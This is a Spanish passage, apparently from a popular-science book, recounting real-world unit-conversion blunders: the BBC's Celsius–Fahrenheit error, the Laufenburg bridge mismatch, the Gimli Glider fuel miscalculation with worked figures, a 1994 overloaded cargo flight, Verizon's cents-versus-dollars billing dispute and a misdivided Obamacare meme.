las	emisiones	lo	suficiente	para	mantener	el	aumento	de	las	temperaturas	por
debajo	de	 los	2	 ºC	 (36º	F)».	El	error	no	es	 solo	que	 la	BBC	siga	dando	 las
temperaturas	en	Fahrenheit,	sino	que	un	cambio	de	2	ºC	no	es	lo	mismo	que
un	 cambio	 de	 36	 ºF,	 aunque	 una	 temperatura	 de	 2	 ºC	 equivale	 a	 una
temperatura	de	36	ºF.	Si	un	día	está	usted	al	aire	libre	y	la	temperatura	es	de	2
ºC	y	se	fija	en	un	termómetro	Fahrenheit,	este	indicará	36	ºF.	Pero	si	en	ese
momento	la	temperatura	sube	2	ºC,	solo	habrá	subido	3,6	ºF.

La	locura	es	que	la	BBC	lo	puso	bien	inicialmente.	Gracias	a	la	fantástica
página	web	newssniffer.co.uk,	que	sigue	el	rastro	de	todos	los	cambios	que	se
producen	en	 los	 artículos	de	 las	noticias,	 podemos	ver	 el	 caos	que	 se	debió
montar	 en	 la	 sala	 de	 redacción	 de	 la	 BBC	 por	 los	 continuos	 cambios
numéricos	que	realizaron.

Para	ser	justo,	el	artículo	formaba	parte	de	una	cobertura	en	directo	de	las
noticias	de	última	hora	y	se	diseñó	de	tal	forma	que	se	pudiese	ir	actualizando
con	 regularidad.	 La	 primera	 versión	 del	 artículo	 que	 mencionaba	 la
temperatura	 hablaba	 del	 cambio	 de	 2	 ºC.	 Pero	 debió	 de	 producirse	 alguna
discusión	sobre	las	quejas	que	seguramente	recibirían	si	no	ponían	también	la
temperatura	en	Fahrenheit,	por	lo	que	dos	horas	después	se	añadieron	esos	3,6
ºF.	¡Que	es	la	respuesta	correcta!

Pero	es	una	respuesta	correcta	 inestable,	porque,	a	pesar	de	ser	correcta,
hay	una	respuesta	«más	obvia»	aunque	menos	correcta	que	la	gente	intentará
que	se	cambie.	Y	más	o	menos	media	hora	más	tarde,	desaparecieron	los	3,6
ºF	 y	 apareció	 en	 su	 lugar	 36	 ºF.	 Una	 temperatura	 de	 2	 ºC	 en	 términos
absolutos	 equivale	 a	 35,6	 ºF,	 por	 lo	 que	 alguien	 debió	 ver	 3,6	 ºF	 y	 debió
pensar	 que	 era	 un	 redondeo	 de	 35,6	 ºF	 con	 el	 punto	 decimal	 en	 el	 lugar
equivocado.	Puedo	imaginarme	los	acalorados	debates	entre	los	partidarios	de
los	3,6	ºF	y	los	de	los	36	ºF,	cada	uno	de	ellos	intentando	reivindicarse	como
los	portadores	de	la	verdad	última	en	el	tema	de	las	temperaturas,	hasta	que,
imagino,	 un	 agotado	 editor	 gritó:	 «¡Basta!	 ¡Ahora	 nadie	 pondrá	 la
temperatura!».	 A	 las	 ocho	 de	 la	 mañana,	 tres	 horas	 después	 de	 que
aparecieran	los	36	ºF,	desaparecieron	sin	que	fueran	sustituidos	por	otra	cifra.
Parecía	que	con	los	2	ºC	era	suficiente.	La	BBC	se	había	rendido	incapaz	de
realizar	la	conversión	a	Fahrenheit.

También	pueden	surgir	problemas	con	la	longitud	a	la	hora	de	decidir	el
punto	 de	 inicio	 de	 referencia,	 pero	 son	 casos	mucho	más	 raros.	 Cuando	 se
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construyó	un	puente	entre	Laufenburg	(Alemania)	y	Laufenburg	(Suiza),	cada
lado	 se	 construyó	por	 separado	 sobre	 el	 río	hasta	que	 se	pudiera	unir	 en	 su
punto	medio.	Para	ello	era	necesario	que	ambos	bandos	estuvieran	de	acuerdo
en	la	altura	exacta	que	iba	a	tener	el	puente,	y	la	definían	en	relación	con	el
nivel	del	mar.	El	problema	era	que	cada	país	 tenía	una	 idea	diferente	 sobre
cuál	era	el	nivel	del	mar.

El	 océano	 no	 es	 una	 superficie	 completamente	 quieta	 y	 plana;	 está
constantemente	en	movimiento.	Y	eso	es	antes	de	tener	en	cuenta	el	desigual
campo	 gravitacional	 de	 la	 Tierra	 que	 altera	 los	 niveles	 del	mar.	 Por	 lo	 que
cada	país	tiene	que	tomar	una	decisión	en	cuanto	a	su	nivel	del	mar.	El	Reino
Unido	utiliza	la	altura	media	del	agua	en	el	Canal	de	la	Mancha	medida	en	la
ciudad	 de	 Newlyn,	 en	 Cornualles,	 una	 vez	 cada	 hora	 entre	 1915	 y	 1921.
Alemania	utiliza	 la	 altura	 del	mar	medida	 en	 el	mar	del	Norte,	 que	baña	 la
línea	costera	 alemana.	Suiza	no	 tiene	 salida	 al	mar,	pero	utiliza	 el	nivel	del
mar	del	Mediterráneo.

El	problema	surgió	porque	las	definiciones	alemana	y	suiza	de	«nivel	del
mar»	diferían	en	27	centímetros	y,	sin	compensar	esa	diferencia,	el	puente	no
podría	 coincidir	 en	 su	 punto	medio.	 Pero	 no	 fue	 un	 error	matemático.	 Los
ingenieros	se	dieron	cuenta	de	que	existiría	una	discrepancia	en	torno	al	nivel
del	mar,	 calcularon	 la	 diferencia	 exacta	 de	 27	 centímetros	 y,	 entonces…	 la
restaron	del	lado	incorrecto.	Cuando	las	dos	mitades	del	puente	de	225	metros
se	encontraron	en	el	medio,	el	lado	alemán	era	54	centímetros	más	alto	que	el
suizo.

De	aquí	es	de	donde	procede	la	frase:	«Mide	el	nivel	del	mar	dos	veces,
construye	un	puente	de	225	metros	una	vez».

Problemas	masivos

El	combustible	de	un	avión	se	calcula	en	base	a	su	masa,	no	a	su	volumen.
Los	 cambios	 de	 temperatura	 pueden	 hacer	 que	 las	 cosas	 se	 expandan	 y	 se
contraigan;	 el	 volumen	 real	 que	 ocupa	 un	 combustible	 depende	 de	 su
temperatura,	por	lo	que	es	una	medida	poco	fiable	de	cantidad.	La	masa	sigue
siendo	 la	 misma.	 Por	 lo	 que,	 cuando	 el	 vuelo	 143	 de	 Air	 Canada	 iba	 a
despegar	 de	 Montreal	 el	 23	 de	 julio	 de	 1983	 para	 volar	 a	 Edmonton,	 se
calculó	que	iba	a	necesitar	un	mínimo	de	22.300	kilogramos	de	combustible
(más	un	extra	de	300	kilogramos	para	desplazarse	por	la	pista,	etc.).

Quedaba	 todavía	 algo	 de	 combustible	 del	 vuelo	 que	 llevó	 el	 avión	 a
Montreal,	y	este	 se	midió	para	comprobar	cuánto	combustible	era	necesario
añadir	 para	 el	 siguiente	 vuelo.	 Excepto	 que	 tanto	 el	 personal	 de
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mantenimiento	 en	 tierra	 como	 la	 tripulación	del	 avión	hicieron	 sus	 cálculos
utilizando	 libras	 en	 lugar	 de	 kilogramos.	 La	 cantidad	 de	 combustible
necesario	tenía	que	ser	en	kilogramos,	pero	llenaron	el	avión	utilizando	libras,
y	una	 libra	equivale	a	 tan	solo	0,45	kilogramos.	La	consecuencia	fue	que	el
avión	despegó	con	aproximadamente	la	mitad	del	combustible	que	necesitaba
para	 llegar	 a	 Edmonton.	 El	 Boeing	 767	 se	 iba	 a	 quedar	 sin	 combustible	 a
mitad	de	camino.

En	un	giro	del	destino	 increíblemente	afortunado,	 el	 avión,	volando	con
un	peligroso	déficit	de	combustible,	 tuvo	que	realizar	una	escala	en	Ottawa,
donde	 los	 niveles	 de	 combustible	 se	 volverían	 a	 comprobar	 antes	 de	 que	 el
avión	 volviera	 a	 despegar.	 El	 avión	 aterrizó	 correctamente,	 con	 los	 ocho
miembros	de	la	tripulación	y	los	sesenta	y	un	pasajeros,	sin	tener	ni	idea	de	lo
cerca	 que	 habían	 estado	 de	 quedarse	 sin	 combustible	 en	 pleno	 vuelo.	 Este
hecho	nos	hace	recordar	que	utilizar	las	unidades	equivocadas	puede	poner	las
vidas	de	las	personas	en	peligro.

Pero,	 entonces,	 en	 un	 giro	 del	 destino	 increíblemente	 desafortunado,	 el
personal	que	 realizaba	 la	 comprobación	del	 combustible	 en	Ottawa	cometió
exactamente	el	mismo	error	de	confusión	de	unidades	(kilogramo/libra)	y	se
le	 permitió	 al	 avión	 despegar	 de	 nuevo	 con	 muy	 poco	 combustible.	 Y	 se
quedó	sin	combustible	a	medio	camino.

El	lector	debería	estar	perplejo	mientras	lee	esta	historia.	Es	tan	increíble
que	pone	a	prueba	su	credulidad.	Seguro	que	 los	aviones	 tienen	 indicadores
de	combustible	que	les	indican	cuánto	les	queda.	Los	coches	lo	tienen	y,	si	un
automóvil	 se	 queda	 sin	 gasolina,	 simplemente	 se	 detiene	 y	 provoca	 un
pequeño	 inconveniente:	nos	hace	 tener	que	 ir	caminando	hasta	 la	gasolinera
más	cercana.	Si	un	avión	se	queda	sin	combustible,	también	se	va	a	detener,
pero	solo	después	de	caer	miles	de	metros	(tres	mil	pies).	Los	pilotos	deberían
ser	 capaces	 de	 echar	 un	 vistazo	 al	 indicador	 de	 combustible	 y	 ver	 que	 está
excesivamente	bajo.

No	 se	 trataba	 de	 una	 avioneta	 con	 un	 indicador	 de	 combustible	 poco
fiable.	Era	un	Boeing	767	completamente	nuevo	y	 recién	 adquirido	por	Air
Canada.	Un	Boeing	767	nuevo…	con	un	indicador	de	combustible	muy	poco
fiable.	El	Boeing	767	fue	uno	de	los	primeros	aviones	en	estar	equipado	con
toda	clase	de	aviónica	(electrónica	para	la	aviación),	por	lo	que	una	gran	parte
de	 la	 cabina	 está	 formada	 por	 dispositivos	 electrónicos.	 Y,	 al	 igual	 que	 la
mayoría	de	aparatos	electrónicos,	son	geniales…	hasta	que	algo	funciona	mal.

Ya	 que	 no	 puedes	 contar	 con	 la	 asistencia	 en	 carretera	 cuando	 estás	 a
miles	de	pies	de	altura,	el	quid	de	la	cuestión	es	la	redundancia.	Las	aeronaves
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tienen	que	llevar	sus	propios	repuestos.	Por	lo	que	el	indicador	electrónico	de
combustible	estaba	conectado	con	 sensores	en	 los	 tanques	de	combustible	a
través	de	dos	canales	independientes.	Si	los	dos	números	procedentes	de	cada
tanque	 coinciden,	 entonces	 el	 indicador	 de	 combustible	 puede	 mostrar	 con
seguridad	cuál	es	el	nivel	actual	de	combustible.	Las	señales	procedentes	de
estos	 sensores	 de	 los	 tanques	 (uno	 en	 cada	 ala	 de	 la	 aeronave)	 van	 a	 un
procesador	 del	 nivel	 de	 combustible	 que	 controla	 los	 indicadores.	 Excepto
que	este	procesador	estaba	dañado.

Un	vuelo	antes	de	su	nefasto	viaje,	el	Boeing	767	estaba	en	Edmonton	y
un	técnico	aeronáutico	titulado	llamado	Yaremko	estaba	intentando	averiguar
por	 qué	 no	 funcionaban	 los	 indicadores	 de	 combustible.	 Descubrió	 que,	 si
desconectaba	uno	de	 los	canales	de	 los	sensores	de	combustible	que	 iban	al
procesador,	los	indicadores	volvían	a	funcionar.	Desactivó	el	disyuntor	de	ese
canal,	 etiquetándolo	 con	 un	 trozo	 de	 cinta	 en	 la	 que	 ponía	 «inoperante»	 y
tomó	nota	del	problema.	Mientras	esperaba	un	nuevo	procesador	para	sustituir
el	que	funcionaba	mal,	el	avión	todavía	cumplía	con	la	lista	maestra	de	equipo
mínimo	(obligatorio	para	que	el	avión	volara	de	forma	segura),	si	se	llevaba	a
cabo	una	comprobación	manual	del	nivel	de	combustible.	Por	lo	que	la	doble
verificación	 en	 este	 caso	 consistía	 en	 un	 indicador	 con	 un	 solo	 sensor	 y
alguien	 comprobando	 el	 tanque	 y	 midiendo	 físicamente	 la	 cantidad	 de
combustible	antes	de	despegar.

Y	es	aquí	donde	se	puede	volver	a	aplicar	lo	del	«queso	suizo»:	el	desastre
se	 produjo	 a	 pesar	 de	 las	 diversas	 comprobaciones	 que	 podrían	 haber
identificado	y	solventado	el	problema.

El	avión	despegó	de	Edmonton	destino	a	Montreal	con	el	capitán	Weir	al
mando,	quien	había	malinterpretado	la	conversación	que	tuvo	con	Yaremko	y
pensó	que	el	problema	del	indicador	de	combustible	era	un	tema	recurrente	y
no	 algo	 que	 acababa	 de	 suceder.	 Por	 lo	 que,	 cuando	 le	 pasó	 el	 mando	 del
avión	al	capitán	Pearson	en	Montreal,	le	explicó	que	había	un	problema	con	el
indicador	 de	 combustible	 pero	 que	 con	 una	 comprobación	 manual	 era
suficiente.	 El	 capitán	 Pearson	 entendió	 con	 esto	 que	 los	 indicadores	 de
combustible	de	la	cabina	de	mando	eran	completamente	inoperantes.

Mientras	esta	conversación	entre	los	dos	pilotos	estaba	teniendo	lugar	en
Montreal,	un	técnico	de	nombre	Ouellet	estaba	comprobando	la	aeronave.	No
comprendió	 la	 nota	 que	 Yaremko	 había	 dejado	 respecto	 al	 indicador	 de
combustible,	 así	 que	 lo	 comprobó	 él	 mismo,	 lo	 que	 implicó	 reactivar	 de
nuevo	el	disyuntor.	Esto	hizo	que	todos	los	indicadores	dejaran	de	funcionar	y
Ouellet	 pidió	 un	 nuevo	 procesador,	 olvidándose	 de	 volver	 a	 desactivar	 el
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disyuntor.	El	capitán	Pearson	entró	en	la	cabina	y	vio	todos	los	indicadores	de
combustible	 en	 blanco	 y	 una	 etiqueta	 en	 uno	 de	 los	 disyuntores	 que	 decía
«inoperante»,	que	es	exactamente	 lo	que	esperaba	después	de	malinterpretar
la	 conversación	 que	 tuvo	 con	 el	 capitán	Weir.	Debido	 a	 esta	 desafortunada
serie	de	sucesos,	un	piloto	estaba	preparándose	para	volar	con	un	avión	en	el
que	no	funcionaba	ningún	indicador	de	combustible.

Esto	 no	 hubiera	 estado	 tan	 mal	 si	 los	 cálculos	 realizados	 para	 valorar
cuánto	 combustible	 quedaba	 hubieran	 sido	 correctos.	 Pero	 estamos	 en	 los
primeros	años	de	la	década	de	1980	y	Canadá	estaba	iniciando	su	transición
de	las	unidades	imperiales	a	las	métricas.	De	hecho,	la	nueva	flota	de	aviones
Boeing	767	era	la	primera	de	Air	Canada	que	utilizaba	las	unidades	métricas.
El	 resto	 de	 aeronaves	 de	 Air	 Canada	 seguía	 midiendo	 su	 combustible	 en
libras.

Para	 complicar	 las	 cosas	 aún	 más,	 la	 conversión	 de	 volumen	 a	 masa
utilizaba	el	factor	titulado	enigmáticamente	«densidad	relativa».	Si	se	hubiera
llamado	 «libras	 por	 litro»	 o	 «kilogramos	 por	 litro»,	 el	 problema	 se	 habría
evitado.	Pero	no	fue	así.	Por	lo	que,	después	de	medir	la	profundidad	a	la	que
llegaba	el	combustible	en	el	tanque	en	centímetros	y	convertirlo	exitosamente
en	litros,	todo	el	mundo	utilizaba	una	densidad	relativa	de	1,77	para	hacer	la
conversión:	 es	 el	 número	 de	 libras	 por	 litro	 para	 el	 combustible	 a	 esa
temperatura.	 La	 densidad	 relativa	 correcta	 de	 kilogramos	 por	 litro	 debería
haber	 sido	de	0,8.	Y	ya	 se	había	cometido	un	error	de	conversión	antes	del
despegue	en	Montreal	y	de	nuevo	durante	la	escala	en	Ottawa.

Por	 lo	 que,	 como	 era	 de	 esperar,	 a	 mitad	 de	 vuelo,	 después	 de	 dejar
Ottawa,	el	avión	se	quedó	sin	combustible	y	en	pocos	minutos	fallaron	ambos
motores.	Esto	provocó	una	señal	de	error,	¡bong!,	en	la	cabina	que	ninguno	de
los	 presentes	 allí	 había	 oído	 con	 anterioridad.	 Yo	me	 pongo	muy	 nervioso
cuando	mi	portátil	hace	un	ruido	que	no	había	escuchado	hasta	entonces;	no
puedo	 ni	 imaginarme	 cómo	 debe	 sentarte	 eso	 cuando	 estás	 pilotando	 un
avión.

El	 problema	 principal	 cuando	 fallan	 ambos	 motores	 es	 que,
evidentemente,	 el	 avión	 ya	 no	 tiene	 potencia	 para	 volar.	 Otro	 tema	menor,
pero,	 aun	 así,	 importante,	 es	 que	 todos	 esos	 novedosos	 dispositivos
electrónicos	de	la	cabina	de	mando	necesitaban	energía	para	funcionar	y,	ya
que	 funcionaban	 gracias	 a	 un	 generador	 conectado	 directamente	 a	 los
motores,	toda	la	aviónica	dejó	de	funcionar.	Los	pilotos	solo	pudieron	utilizar
los	dispositivos	análogos:	una	brújula	magnética,	un	indicador	del	horizonte,
un	indicador	de	la	velocidad	aerodinámica	y	un	altímetro.	Ah	sí,	y	los	flaps	y
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slats	 que	 normalmente	 controlan	 el	 ritmo	 y	 velocidad	 de	 descenso	 también
empleaban	la	misma	fuente	de	energía,	por	lo	que	tampoco	funcionaban.

El	único	golpe	de	buena	suerte	fue	que	el	capitán	Pearson	también	era	un
piloto	de	vuelo	sin	motor	muy	experimentado,	lo	cual	fue	muy	útil.	Fue	capaz
de	 planear	 con	 el	Boeing	 767	 durante	 64	 kilómetros	 hasta	 el	 aeródromo	de
una	base	militar	abandonada	en	la	ciudad	de	Gimli.	Era	una	pista	de	tan	solo
2,19	 kilómetros	 de	 longitud,	 pero	 el	 capitán	 Pearson	 fue	 capaz	 de	 posar	 la
nave	a	240	metros	del	inicio	de	la	pista.

PASO	1:	Cálculo	del	combustible	a	bordo:

Lecturas	manuales:	62	y	64	centímetros
Conversión	a	litros:	3.758	y	3.924	litros
Litros	totales	a	bordo:	3.758	+	3.924	=	7.682	litros.

PASO	2:	Conversión	de	litros	a	bordo	en	kilogramos:

7.628	litros	×	1,77	=	13.597
Al	multiplicarlo	por	1,77	dan	 libras,	pero	 todo	 el	mundo	pensó	que	 eran

kilogramos.

PASO	3:	Cálculo	del	combustible	que	había	que	añadir:

Combustible	mínimo	necesario,	22.300	kilogramos	–	combustible	a	bordo,	13.597
supuestos	kilogramos	=	8.703	kilogramos.

PASO	4:	Conversión	en	litros	de	kilogramos	que	hay	que	añadir:

8.703	kilogramos	÷	1,77	=	4.916	supuestos	litros.

El	 cálculo	 correcto	 utilizando	 el	 combustible	 mínimo	 necesario	 como	 base,	 es
decir,	22.300	kilogramos,	como	exige	el	plan	de	vuelo,	debería	ser	tal	como	sigue:

PASO	 1:	 3.924	 +	 3.758	 litros	 de	 las	 primeras	 lecturas	manuales	 de	 64	 y	 62
centímetros	=	7.682	litros	de	combustible	a	bordo.

PASO	2:	7.682	×	1,77	÷	2,2	=	6.180	kilogramos	de	combustible	a	bordo,	antes
del	repostaje.

PASO	 3:	 22.300	 –	 6.180	 =	 16.120	 kilogramos	 de	 combustible	 que	 se	 ha	 de
cargar.

PASO	4:	16.120	÷	1,77	×	2,2	=	20.036	litros	que	se	han	de	cargar.

Desglose	de	cómo	se	erró	en	los	cálculos	procedentes	del	informe	oficial	sobre	el	accidente	realizado
por	la	Comisión	de	Investigación.
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En	un	 segundo	golpe	 de	 buena	 suerte,	 el	 tren	 de	 aterrizaje	 frontal	 falló,
provocando	que	la	parte	frontal	del	avión	fuera	rozando	el	suelo,	con	lo	que
proporcionaba	una	fricción	de	frenado	muy	necesaria	dado	el	caso,	gracias	a
la	cual	el	avión	logró	pararse	antes	de	que	se	acabase	la	pista	(para	alivio	de
las	 personas	 que	 estaban	 en	 tiendas	 y	 caravanas	 en	 el	 terreno	 situado	 a
continuación,	que	 ahora	 se	utilizaba	 como	pista	de	 carreras	de	 aceleración).
Otra	de	las	consecuencias	de	que	no	funcionen	los	motores	de	un	767	es	que
el	vuelo	es	mucho	más	silencioso.	Algunas	personas	 temieron	por	sus	vidas
cuando	un	avión	comercial	birreactor	apareció	repentinamente	sobre	 la	pista
abandonada,	como	si	hubiera	salido	de	la	nada.

Aterrizar	 un	 avión	 como	 si	 fuera	 un	 planeador	 fue	 una	 hazaña
descomunal.	Cuando	a	otros	pilotos	se	 les	puso	en	un	escenario	parecido	en
un	simulador	de	vuelo,	acabaron	estrellándose.	Después	de	que	el	Boeing	767
fuese	reparado	y	volviera	a	ser	utilizado	en	un	vuelo	de	Air	Canada,	pasó	a
ser	conocido	como	el	Planeador	de	Gimli	y	se	hizo	merecidamente	famoso.

Finalmente,	fue	apartado	del	servicio	en	2008	y	ahora	está	en	un	desguace
de	aviones	en	California.	Una	compañía	emprendedora	compró	algunas	partes
de	 su	 fuselaje	 y	 ahora	 vende	 etiquetas	 de	 equipaje	 fabricadas	 a	 partir	 del
revestimiento	metálico	del	Planeador	de	Gimli.	Supongo	que	la	idea	es	que	el
avión	fue	muy	afortunado	por	sobrevivir	a	una	situación	muy	peligrosa,	por	lo
que	tener	un	trocito	del	avión	debería	dar	buena	suerte.	Pero	una	vez	más,	la
inmensa	 mayoría	 de	 aeronaves	 nunca	 se	 estrella,	 por	 lo	 que,	 estrictamente
hablando,	 este	 avión	 tuvo	 mala	 suerte.	 Compré	 un	 trozo	 del	 fuselaje	 y	 lo
tengo	pegado	en	mi	ordenador	portátil,	aunque	no	parece	que	eso	haya	hecho
que	se	golpee	más	o	menos	de	lo	habitual.

Y,	solo	para	equilibrar	un	poco	el	relato,	encontré	un	error	de	la	aviación
en	el	que	la	confusión	libras-kilogramos	se	desequilibró	hacia	el	otro	lado.	En
el	 caso	del	Planeador	 de	Gimli,	 los	 cálculos	 del	 combustible	 se	 hicieron	 en
kilogramos,	 aunque	 se	 rellenó	 el	 tanque	 utilizando	 una	 unidad	 menor,	 las
libras:	la	consecuencia	es	que	pusieron	demasiado	poco	combustible.	El	26	de
mayo	de	1994,	la	carga	de	un	vuelo	de	mercancías	que	volaba	desde	Miami,
Estados	Unidos,	a	Maiquetía,	Venezuela,	se	pesó	en	kilogramos,	cuando	tanto
el	equipo	del	vuelo	como	el	de	tierra	pensaron	que	era	en	libras,	por	lo	que	el
cargamento	pesaba	casi	el	doble	de	lo	que	debería.

Su	desplazamiento	por	la	pista	fue	descrito	como	«muy	lento»,	aunque,	a
pesar	de	ello,	el	avión	 logró	despegar.	En	 lugar	de	 tardar	 treinta	minutos	en
alcanzar	la	altura	de	crucero	después	de	despegar,	necesitó	una	hora	y	cinco
minutos.	Además,	 el	 vuelo	 consumió	una	 cantidad	 sospechosamente	 grande
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de	 combustible.	 En	 el	 juicio	 resultante	 se	 calculó	 que,	 cuando	 el	 avión
aterrizó	 en	 Venezuela,	 llevaba	 30.000	 libras	 de	 sobrepeso,	 que	 son	 unos
13.600	 kilogramos	 (más	 de	 la	 cantidad	 total	 de	 combustible	 con	 la	 que
despegó	el	Planeador	de	Gimli).

Me	 hace	 sentir	 un	 poco	 mejor	 por	 todas	 las	 veces	 que	 pienso	 que	 he
cargado	demasiado	mi	maleta.	Pero	también	me	siento	mucho	menos	seguro
cuando	vuelo	entre	países	que	utilizan	unidades	diferentes	 (que	básicamente
son	Estados	Unidos	por	un	 lado	y	el	 resto	del	mundo	por	otro).	 ¡Tengo	que
apresurarme	y	decidir	si	el	 trozo	que	 tengo	del	Planeador	Gimli	 trae	mala	o
buena	suerte!

No	se	olvide	de	la	etiqueta	con	el	precio

Es	fácil	olvidar	que	 las	monedas	de	cada	país	son	unidades.	1,41	dólares	es
una	 cantidad	 muy	 diferente	 a	 1,41	 centavos,	 pero,	 a	 menudo,	 algunos
entienden	 intuitivamente	 el	 punto	 decimal	 como	 una	 marca	 de	 puntuación
para	 separar	 los	 dólares	 de	 los	 centavos,	 por	 lo	 que	 consideran	 que	 son
equivalentes.	Existe	una	 llamada	 telefónica	muy	 famosa	en	 internet	grabada
en	 2006	 cuando	 el	 residente	 estadounidense	 George	 Vaccaro	 llamó	 a	 su
proveedor	de	telefonía	móvil	Verizon	después	de	un	viaje	a	Canadá.	Antes	del
viaje	 le	 habían	 confirmado	 que	 el	 cambio	 para	 los	 datos	 que	 consumiera
mediante	roaming	 en	Canadá	se	 le	cobrarían	a	0,002	centavos	por	kilobyte,
pero	después	del	viaje	le	cargaron	0,002	dólares	por	kilobyte.

La	 factura	 del	 señor	 Vaccaro	 ascendió	 a	 72	 dólares	 por	 unos	 36
megabytes,	que	hoy	en	día	parecen	ridículos	después	de	más	de	una	década	de
mejoras	tecnológicas,	pero	en	esa	época	era	una	cantidad	aceptable	y	el	precio
«correcto»	de	0,72	dólares	debería	haber	sido	ridículamente	pequeño.	Verizon
había	cometido	un	error	cuando	le	comentó	sus	tarifas.	Pero	el	señor	Vaccaro
había	guardado	la	respuesta	con	la	tarifa	ofrecida	y	ahora	intentaba	averiguar
qué	era	lo	que	había	cambiado.	Es	un	poco	doloroso	escuchar	la	llamada,	sus
veintisiete	minutos,	a	medida	que	al	señor	Vaccaro	se	 lo	van	pasando	de	un
gerente	a	otro.	Ninguno	de	ellos	se	percata	de	la	diferencia	entre	0,002	dólares
y	0,002	centavos	y	utilizan	ambos	números	indistintamente.	No	puedo	pasar
por	 alto	 la	 parte	 en	 la	 que	 uno	 de	 los	 gerentes	 define	 el	 cálculo	 incorrecto
como	«obviamente,	se	trata	de	una	diferencia	de	opinión».

Hay	 una	 complicación	 añadida	 cuando	 se	 trata	 de	 grandes	 sumas	 de
dinero.	 Los	 múltiplos	 que	 nos	 resultan	 prácticos	 son	 unidades	 por	 derecho
propio,	pero,	cuando	se	trata	con	algo	como	metros	y	kilómetros,	mucha	gente
tiende	 a	 pensar	 que	 se	 trata	 de	 unidades	 diferentes.	 Los	 kilómetros	 son
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realmente	 una	 combinación	 de	 la	 unidad	 de	 distancia	 de	 un	 metro	 con	 la
«unidad	de	 tamaño»	de	un	millar.	Pero	con	el	dinero,	estas	unidades	causan
problemas.

Esta	 es	 la	 base	 de	 un	 meme	 que	 circuló	 en	 2015	 cuando	 la	 Ley	 de
Atención	Sanitaria	Asequible	de	Obama	estaba	en	marcha,	pero	los	problemas
dentales	no	eran	cubiertos	por	todos	los	planes	de	seguros.	Un	objetivo	fácil
para	 los	críticos	era	el	coste	de	 la	 implantación	del	Obamacare.	Circuló	por
todas	 partes	 que	 el	 coste	 de	 la	 introducción	 del	 programa	 sería	 de	 360
millones	de	dólares,	sin	duda,	una	cantidad	enorme	de	dinero:	casi	un	tercio
de	un	millardo	de	dólares.	Por	lo	que	las	personas	de	la	derecha	del	espectro
político	buscaron	formas	de	resaltar	cuánto	dinero	era	esa	cantidad.	Y	nació
este	meme:

Es	fácil	ver	cuál	es	su	fallo.	360	millones	de	dólares	entre	317	millones	de
personas	 no	 sale	 1	millón	 de	 dólares	 para	 cada	 uno,	 es	 apenas	 1	 dólar	 por
cabeza.	No	un	millón.	Un	mísero	pavo.

A	pesar	de	ser	bastante	fácil	desacreditar	a	alguien	dividiendo	un	número
por	otro,	este	meme	circuló	como	cálculo	legítimo.	Soy	consciente	de	que	las
personas	 son	 mucho	 menos	 críticas	 cuando	 se	 trata	 de	 una	 evidencia	 que
respalda	 sus	 creencias	 políticas,	 pero	 me	 gustaría	 creer	 que	 incluso	 las
pruebas	 que	 confirman	 lo	 que	 piensas	 deben	 pasar	 al	 menos	 alguna
comprobación	rudimentaria	antes	de	ser	puestas	en	circulación.	Soy	partidario
de	 la	 teoría	 según	 la	 cual	 al	 menos	 la	 amenaza	 de	 humillación	 pública
disuadirá	 a	 las	 personas	 de	 apoyar	 reclamaciones	 claramente	 inverosímiles.
Una	parte	de	mí	sigue	creyendo	que	cualquiera	que	defienda	este	meme	del
Obamacare	 es	 un	 troll	 y	 que	 lo	 hace	 para	 divertirse.	 Pero	 démosles	 el
beneficio	de	la	duda	e	intentemos	averiguar	por	qué	esta	afirmación	falsa	fue
tan	tenaz.

Mi	versión	 favorita	de	 las	que	aparecen	en	 internet	 tiene	al	protagonista
respaldando	la	afirmación	de	que	360	millones	de	dólares	divididos	por	317

Página	206



millones	 de	 personas	 da	 un	 millón	 por	 persona	 (con	 calderilla	 sobrante)
explicándolo	de	esta	manera:

Hay	317	personas	y	tienes	360	sillas.	¿Tienes	las	suficientes	sillas	para	que	todos	se	sienten?

Bueno,	 la	 respuesta	es	 sí.	El	hecho	de	que	360	 sea	más	grande	que	317
parece	 ser	 una	 parte	 fundamental	 de	 su	 argumento,	 y	 nadie	 se	 opone	 a	 esa
lógica.	Pero,	por	alguna	razón,	estas	personas	no	pueden	ver	que	esa	misma
lógica	 no	 se	 sostiene	 cuando	 tienes	 millones	 de	 dólares	 y	 millones	 de
personas.	 Y	 creo	 que	 esta	 afirmación	 ofrece	 una	 idea	 de	 por	 dónde	 se
desmorona	su	lógica:

Ambas	unidades	son	millones,	por	lo	que	no	hay	diferencia.

Están	 tratando	 con	 «millones»	 como	 una	 unidad	 y	 restan	 en	 lugar	 de
dividir.	Lo	que,	en	algunas	situaciones,	¡funciona!

Pregunta	rápida:	si	yo	tengo	127	millones	de	ovejas	y	vendo	25	millones,
¿cuántas	me	quedan?	Correcto:	102	millones.	Les	puedo	asegurar	que,	en	sus
cabezas,	 «eliminaron»	 la	 palabra	 millón	 de	 esos	 números	 y	 realizaron	 el
cálculo	 directo	 de	 127	 –	 25	 =	 102,	 y	 luego	 volvieron	 a	 colocar	 la	 palabra
millón	 para	 obtener	 la	 respuesta	 final	 de	 102	 millones.	 Trató	 el	 «millón»
como	una	unidad	que	se	podía	ignorar,	ya	que	era	conveniente	hacerlo.	Pero
es	muy	importante	aclarar	que,	en	este	caso,	¡funciona!

Aunque,	para	millones	de	personas,	son	las	mismas	matemáticas,	solo	hay
que	añadir	ceros.

En	 este	 caso	 estoy	 de	 acuerdo	 con	 el	 argumentador:	 se	 puede	 utilizar
«millones»	como	parte	de	una	unidad.	Y	cuando	se	suman	y	restan	números
escritos	 en	 las	 mismas	 unidades,	 estas	 siempre	 son	 las	 mismas.	 Pero	 si
empezamos	 a	 multiplicar	 y	 dividir,	 entonces	 las	 unidades	 pueden	 cambiar.
Nuestro	 apasionado	 amigo	 eliminó	 mentalmente	 los	 millones,	 realizó	 una
comparación	 por	 sustracción	 para	 demostrar	 que	 360	 es	 mayor	 que	 317	 y
luego	 fracasó	 completamente	 al	 no	 darse	 cuenta	 de	 que	 también	 hacía	 una
división	implícita	de	360	÷	317	=	1,1356	para	demostrar	que	a	todo	el	mundo
le	toca	un	poco	más	de	«uno».

¿Un	 poco	 más	 de	 uno	 de	 qué?	 Colocan	 de	 nuevo	 las	 unidades	 de
«millones	de	dólares»	y	concluye	que	todo	el	mundo	obtiene	algo	más	de	un
millón	de	dólares.	Pero	si	dividimos	los	dos	números,	también	hay	que	dividir
sus	unidades.	Por	 lo	que	 los	millones	se	cancelan	y	 lo	que	 recibe	 realmente
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todo	el	mundo	es	1,14	dólares.	Por	lo	que,	en	su	mayor	parte,	la	lógica	tiene
